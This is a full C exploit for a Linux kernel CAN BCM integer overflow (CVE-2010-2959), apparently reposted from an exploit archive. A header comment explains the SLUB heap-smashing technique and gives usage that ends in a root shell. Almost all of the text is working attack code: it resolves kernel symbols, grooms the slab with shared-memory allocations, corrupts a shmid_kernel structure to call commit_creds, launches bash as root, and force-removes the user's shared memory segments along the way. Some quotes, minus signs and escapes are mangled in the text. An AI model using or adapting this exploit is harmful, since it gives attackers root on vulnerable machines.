Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
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Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
==============================================================
/*
* i-CAN-haz-MODHARDEN.c
*
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
*
* Ben Hawkes discovered an integer overflow in the Controller Area Network
* (CAN) subsystem when setting up frame content and filtering certain
* messages. An attacker could send specially crafted CAN traffic to crash
* the system or gain root privileges.
*
* Usage:
*
* $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
* $ ./i-can-haz-modharden
* …
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The allocation pattern of the CAN BCM module gives us some desirable
* properties for smashing the SLUB. We control the kmalloc with a 16-byte
* granularity allowing us to place our allocation in the SLUB cache of our
* choosing (we’ll use kmalloc-96 and smash a shmid_kernel struct for
* old-times sake). The allocation can also be made in its own discrete
* stage before the overwrite which allows us to be a bit more conservative
* in ensuring the proper layout of our SLUB cache.
*
* To exploit the vulnerability, we first create a BCM RX op with a crafted
* nframes to trigger the integer overflow during the kmalloc. On the second
* call to update the existing RX op, we bypass the E2BIG check since the
* stored nframes in the op is large, yet has an insufficiently sized
* allocation associated with it. We then have a controlled write into the
* adjacent shmid_kernel object in the 96-byte SLUB cache.
*
* However, while we control the length of the SLUB overwrite via a
* memcpy_fromiovec operation, there exists a memset operation that directly
* follows which zeros out last_frames, likely an adjacent allocation, with
* the same malformed length, effectively nullifying our shmid smash. To
* work around this, we take advantage of the fact that copy_from_user can
* perform partial writes on x86 and trigger an EFAULT by setting up a
* truncated memory mapping as the source for the memcpy_fromiovec operation,
* allowing us to smash the necessary amount of memory and then pop out and
* return early before the memset operation occurs.
*
* We then perform a dry-run and detect the shmid smash via an EIDRM errno
* from shmat() caused by an invalid ipc_perm sequence number. Once we’re
* sure we have a shmid_kernel under our control we re-smash it with the
* malformed version and redirect control flow to our credential modifying
* calls mapped in user space.
*
* Distros: please use grsecurity’s MODHARDEN or SELinux’s module_request
* to restrict unprivileged loading of uncommon packet families. Allowing
* the loading of poorly-written PF modules just adds a non-trivial and
* unnecessary attack surface to the kernel.
*
* Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
* easily to other vulnerable kernels/distros. Careful, it could use some
* post-exploitation stability love as well.
*
* Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
* this exploit borrows code from.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define SLUB "kmalloc-96"
#define ALLOCATION 96
#define FILLER 100
#ifndef PF_CAN
#define PF_CAN 29
#endif
#ifndef CAN_BCM
#define CAN_BCM 2
#endif
struct sockaddr_can {
sa_family_t can_family;
int can_ifindex;
union {
struct { uint32_t rx_id, tx_id; } tp;
} can_addr;
};
struct can_frame {
uint32_t can_id;
uint8_t can_dlc;
uint8_t data[8] __attribute__((aligned(8)));
};
struct bcm_msg_head {
uint32_t opcode;
uint32_t flags;
uint32_t count;
struct timeval ival1, ival2;
uint32_t can_id;
uint32_t nframes;
struct can_frame frames[0];
};
#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
} super_block;
struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
} inode;
struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
} dentry;
struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
} op;
struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
} vfsmount;
struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
} file;
struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
} shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %sn", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, ‘_’);
if (p > ((char *) sname + 5) && !strncmp(p – 3, "smp", 3)) {
p = p – 4;
while (p > (char *)sname && *(p – 1) == ‘_’) {
p–;
}
*p = ”;
}
}
}
if (ret == 0) {
fscanf(f, "%sn", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("[+] resolved symbol %s to %pn", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int
check_slabinfo(char *cache, int *active_out, int *total_out)
{
FILE *fp;
char name[64], slab[256];
int active, total, diff;
memset(slab, 0, sizeof(slab));
memset(name, 0, sizeof(name));
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
printf("[-] sorry, /proc/slabinfo is not available!");
exit(1);
}
fgets(slab, sizeof(slab) – 1, fp);
while (1) {
fgets(slab, sizeof(slab) – 1, fp);
sscanf(slab, "%s %u %u", name, &active, &total);
diff = total – active;
if (strcmp(name, cache) == 0) {
break;
}
}
fclose(fp);
if (active_out) {
*active_out = active;
}
if (total_out) {
*total_out = total;
}
return diff;
}
void
trigger(void)
{
int *shmids;
int i, ret, sock, cnt, base, smashed;
int diff, active, total, active_new, total_new;
int len, sock_len, mmap_len;
struct sockaddr_can addr;
struct bcm_msg_head *msg;
void *efault;
char *buf;
printf("[+] creating PF_CAN socket…n");
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (sock < 0) {
printf("[-] kernel lacks CAN packet family supportn");
exit(1);
}
printf("[+] connecting PF_CAN socket…n");
memset(&addr, 0, sizeof(addr));
addr.can_family = PF_CAN;
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (sock < 0) {
printf("[-] could not connect CAN socketn");
exit(1);
}
len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
msg = malloc(len);
memset(msg, 0, len);
msg->can_id = 2959;
msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
printf("[+] clearing out any active OPs via RX_DELETE…n");
msg->opcode = RX_DELETE;
ret = send(sock, msg, len, 0);
printf("[+] removing any active user-owned shmids…n");
system("for shmid in `cat /proc/sysvipc/shm | awk ‘{print $2}’`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
printf("[+] massaging " SLUB " SLUB cache with dummy allocationsn");
diff = check_slabinfo(SLUB, &active, &total);
shmids = malloc(sizeof(int) * diff * 10);
cnt = diff * 10;
for (i = 0; i < cnt; ++i) {
diff = check_slabinfo(SLUB, &active, &total);
if (diff == 0) {
break;
}
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
base = i;
if (diff != 0) {
printf("[-] inconsistency detected with SLUB cache allocation, please try againn");
exit(1);
}
printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP…n");
i = base;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
msg->opcode = RX_SETUP;
ret = send(sock, msg, len, 0);
if (ret < 0) {
printf("[-] kernel rejected malformed CAN headern");
exit(1);
}
i = base + FILLER;
cnt = i + FILLER;
for (; i < cnt; ++i) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
printf("[+] mmap’ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec…n");
mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("[+] mmap’ed mapping of length %d at %pn", mmap_len, efault);
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP…n");
msg = (struct bcm_msg_head *) efault;
memset(msg, 0, mmap_len);
msg->can_id = 2959;
msg->nframes = (ALLOCATION / 16) * 4;
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] couldn’t trigger EFAULT, exploit aborting!n");
exit(1);
}
printf("[+] seeking out the smashed shmid_kernel…n");
i = base;
cnt = i + FILLER + FILLER;
for (; i < cnt; ++i) {
ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
if (ret == -1 && errno == EIDRM) {
smashed = i;
break;
}
}
if (i == cnt) {
printf("[-] could not find smashed shmid, trying running the exploit again!n");
exit(1);
}
printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %dn", i, shmids[i]);
printf("[+] re-smashing the shmid_kernel with exploit payload…n");
shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
buf = (char *) msg;
memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] couldn’t trigger EFAULT, exploit aborting!n");
exit(1);
}
ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] launching root shell!n");
execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}
printf("[-] exploit failed! retry?n");
}
void
setup(void)
{
printf("[+] looking for symbols…n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] symbol table not availabe, aborting!n");
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] symbol table not availabe, aborting!n");
}
printf("[+] setting up exploit payload…n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = getuid();
shmid_kernel.shm_perm.gid = getgid();
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int
main(int argc, char **argv)
{
setup();
trigger();
return 0;
}
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